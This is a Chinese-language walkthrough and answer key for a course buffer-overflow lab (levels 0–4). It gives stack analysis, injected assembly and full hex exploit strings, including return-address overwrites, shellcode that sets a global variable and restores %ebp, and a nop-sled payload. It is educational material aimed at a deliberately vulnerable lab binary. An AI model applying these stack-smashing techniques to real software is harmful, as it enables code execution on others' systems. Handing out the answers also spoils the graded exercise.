注意: 这个程序运行时要有一个userid参数,我的设置的是xzz, 不同的userid会对应 不同的结果.我的答案如果换成别的userid的话就不成功.而且也可能和机器有关,因为程序中 一些变量的存放位置可能不同. Level 0: 这一关是执行getbuf()函数后不返回到正常位置,而是转去执行smoke函数. 查看汇编代码得到smoke函数的入口地址为0x080490ba. 调用getbuf函数时输入字符串的存放位置为$epb-0x28, return address的位置为$ebp+4. 则得到要输入的字节码应该是44个00,接着是ba 90 04 08.也就是smoke的入口 地址,这样函数在退出getbuf函数时就会ret到smoke函数处执行smoke函数. solution: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba 90 04 08 Level 1: 这一关是执行getbuf()函数后不返回到正常位置,而是转去执行fizz函数, 而且要将你的cookie值 作为参数传递给fizz函数. 同样先得到fizz函数的入口地址为0x0804906f. 由于要将自己生成的cookie作为参数传递给fizz函数,先分析fizz函数 的参数在栈中位置,很明显由fizz函数中的下面两句可得到结果. 可知fizz函数的参数存放在$ebp+0x8位置处.因为进入函数后有个push %ebp的 操作,所以可知其参数在执行fizz函数之前的栈的栈顶之下的那个位置. 因为是执行fizz函数而不是call fizz函数,所以栈不会自动push return address. 所以结果就出来,在Level 1的基础上修改return address使其指向fizz函数,再继续向上 修改栈中的值,使其传递你所特定的参数(cookie)给fizz函数. 8049075: 8b 45 08 mov 0x8(%ebp),%eax 8049078: 3b 05 e4 c1 04 08 cmp 0x804c1e4,%eax 生成xzz的cookie值为0x52f8c747. solution: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 90 04 08 00 00 00 00 47 c7 f8 52 Level 2: 这一关是要执行栈中你指定的特殊指令,设置一个全局变量变你的cookie值,再去执行bang函数. 同样先得到bang函数的入口地址为0x08049022. 由于要修改全局变量global_value的值,先找到其存储位置0x804c1ec, 用GDB调试可以观察到0x804c1e4中保存是你的cookie的值. 8049028: a1 ec c1 04 08 mov 0x804c1ec,%eax 804902d: 3b 05 e4 c1 04 08 cmp 0x804c1e4,%eax 8049033: 75 1e jne 8049053 下面设置gloal_value值为cookie.汇编代码为: mov 0x804c1e4, %eax /* move cookie to %eax */ mov %eax, 0x804c1ec /* set global_value as cookie */ push $0x08049022 /* push the address of bang to the stack */ ret /* goto bang */ 用gcc汇编用objdump反汇编得到其指令序列为: a1 e4 c1 04 08 a3 ec c1 04 08 68 22 90 04 08 c3 gcc -m32 -c example.s objdump -d example.o > example.d 将指令放在最开头位置字符串,0x55683428 solition: a1 e4 c1 04 08 a3 ec c1 04 08 68 22 90 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 90 04 08 00 00 00 00 00 00 28 34 68 55 Level 3: 这一关是要修改getbuf()函数的返回值(正常状态为0x1)为你的cookie值,然后让函数正常返回到test. 查看汇编代码得到getbuf函数返回后指令执行位置为0x08048c93. 调用getbuf会在栈中保存一个old %ebp值, 这个值是test函数的%ebp值,这个值需要正确返回. 用GDB调试得到这个值old %ebp为0x55683480. 则在栈中需要执行的指定应该如下, 指定存放在字符串首地址处0x55683428: mov 0x804c1e4, %eax /* move cookie to %eax as return value */ mov $0x55683480, %ebp /* recovery %ebp */ push 0x8048c93 /* return address */ ret 得到指令序列为: a1 e4 c1 04 08 bd 80 34 68 55 68 93 8c 04 08 c3 solution1: a1 e4 c1 04 08 bd 80 34 68 55 68 93 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 34 68 55 还有一种办法就不用在指定中用mov $0x55683480, %ebp来恢复%ebp, 只要给的字符串不改变old %ebp内容就可以. solution2: a1 e4 c1 04 08 68 93 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 34 68 55 28 34 68 55 Level 4: 前面4关在调用getbuf函数时其栈的位置是不变的.这一关调用的是getbufn函数, 其缓冲区大小为512个字节, 且每次栈的位置都会变化, 以下是%ebp的变化情况: getbufn函数的%ebp值: 0x55683450 0x55683430 0x55683400 0x556833e0 0x556833e0 字符串的存储位置为 %ebp-0x208 (520): 0x55683248 0x55683228 0x556831f8 0x556831d8 0x556831d8 变化范围为:0x70 (112) test函数的%ebp值: 0x55683480 0x55683460 0x55683430 0x55683410 0x55683410 看出getbufn的%ebp值比test的小0x30.在getsbufn执行ret后%esp-0x8的值就是getbufn的%ebp值. 则此时test的值应该为%esp+0x28. 则在栈中要执行的指令为: leal 0x28(%esp), %ebp /* recovery %ebp */ mov 0x804c1e4, %eax /* move cookie to %eax as return value */ push $0x8048c2e /* return address */ ret 指令序列为 8d 6c 24 28 a1 e4 c1 04 08 68 2e 8c 04 08 c3 字符串前指令序列前的字节都设为nop(0x90),形成"nop sled".一共应该有528个字节,最后4个字节为0x55683248.(字符串可能存放的最高地址). solution: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24 28 a1 e4 c1 04 08 68 2e 8c 04 08 c3 48 32 68 55